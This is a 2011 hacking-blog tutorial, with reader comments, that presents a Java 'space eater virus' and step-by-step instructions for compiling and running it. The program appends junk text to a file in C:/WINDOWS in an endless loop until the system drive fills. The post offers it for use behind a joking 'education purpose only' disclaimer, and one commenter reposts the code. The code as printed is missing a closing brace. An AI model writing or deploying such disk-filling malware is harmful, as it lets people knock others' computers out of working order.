23 Dec 2011

Create an Space Eater Virus using JAVA

Hey guys. I'm back with some virus programming in JAVA. It's amazing that with some little logical concepts a Simple program can turn into a Virus. Here I'm going to show you how to create a Simlpe Space Eater Program using JAVA.
Warning:- This is for education purpose only. I'm not Responsible in case of any misuse .
without much delay lets get started:
  • Open Notepad and type the following virus code:

import java.io.*;
class Virus
{
public static void main(String ar[])
 {
   try
  {
   FileWriter f=new FileWriter("C:/WINDOWS/Virus.dll",true);
   while(true)
   {
   f.write("Programming Is Such A FUN !!!");
   }
  }
  catch(FileNotFoundException e){}
   catch(IOException e){}
 }


  • Save it as Virus.java
  • Now generate the byte code of program using Java Compiler.
  • When you execute this program It will start eating the space of your C drive. To stop this virus simply close the command window.
  • In order to recover the lost space of your drive. go to C:\WINDOWS and delete the file virus.dll (also from Recycle bin)
Explanation: On execution this program will create a file called virus.dll at the location C:\WINDOWS and start increasing its size by sending the junk data into it which automatically increase the size of the disk.

Warning:  you can try this on your computer too. lol :P

Notice: For any issues related with Program Compiling or JRE take a look at Compile JAVA program. For any queries realted with concept of this program ping me on FACEBOOK

15 comments:

Anonymous said...

hii
kindly help me to create an antivirus and virus using Java
please write it step by step.
i will Making Anti-Virus, which holds the virus
kindly help...

Anonymous said...

hiiii in my project final
i will Making Anti-Virus, which holds the virus
i need help

H4CK3R said...

Writing an Antivirus takes lots of time and hard work as you need to include multiple virus definitions with it.
But it also seems that you don't have much time though I suggest you to go for any open Source projects. There are around 103 projects currently running. I would suggest CalmWin.
Drop a mail in my inbox with details. I'll try to help in every possible way. :)

Anonymous said...

hii..i'm try to doing this program but when i try to execute this, there are some error that say "could not find or load main class virus"..could you tell me what the problem?

H4CK3R said...

After copying the code you also need to compile it in order to get the virus.class file.
Refer to this for compilation process
http://hackthedark.blogspot.com/2011/09/install-jdk-and-run-first-java-program.html

VINAY JOSHI said...

NICE DEAR

Mohana SUNDARAM.N said...

mudu

vijoy vijayan said...

hi i have an antivirus i developed it in my project in java, its called c-worm scanner specialy designed to detect c-worm..
ie the network virus.if u want a copy of source code ,,just e-mail me..my id is:-mytricksplus@gmail.com....enjoy!

Anonymous said...

Actually I don't want this code.ok........................
Pavan519...

waseem ahmad said...

helo this program is when activate run time or compile time

Anonymous said...

I m getting an error while running in cmd : exception in thread "main" java.lang.NoClassDefFoundError:

Karthick M said...

does'nt work

mohammed said...

for those who face this error
exception in thread "main" java.lang.NoClassDefFoundError:
you must install jdk inorder to run then
in cmd go to the directory that you saved Virus.java and type
javac Virus.java //this will compile your code and generate Virus.class
to run your code type
java Virus

Unknown said...

import java.io.*;
class Virus
{
public static void main(String ar[])
 {
   try
  {
   FileWriter f=new FileWriter("C:/WINDOWS/Virus.dll",true);
   while(true)
   {
   f.write("Programming Is Such A FUN !!!");
   }
  }
  catch(FileNotFoundException e){}
   catch(IOException e){}
 }

Anonymous said...

Its not a virus,simple file handling programme

Post a Comment

 
Design by Free WordPress Themes | Bloggerized by Lasantha - Premium Blogger Themes | Online Project management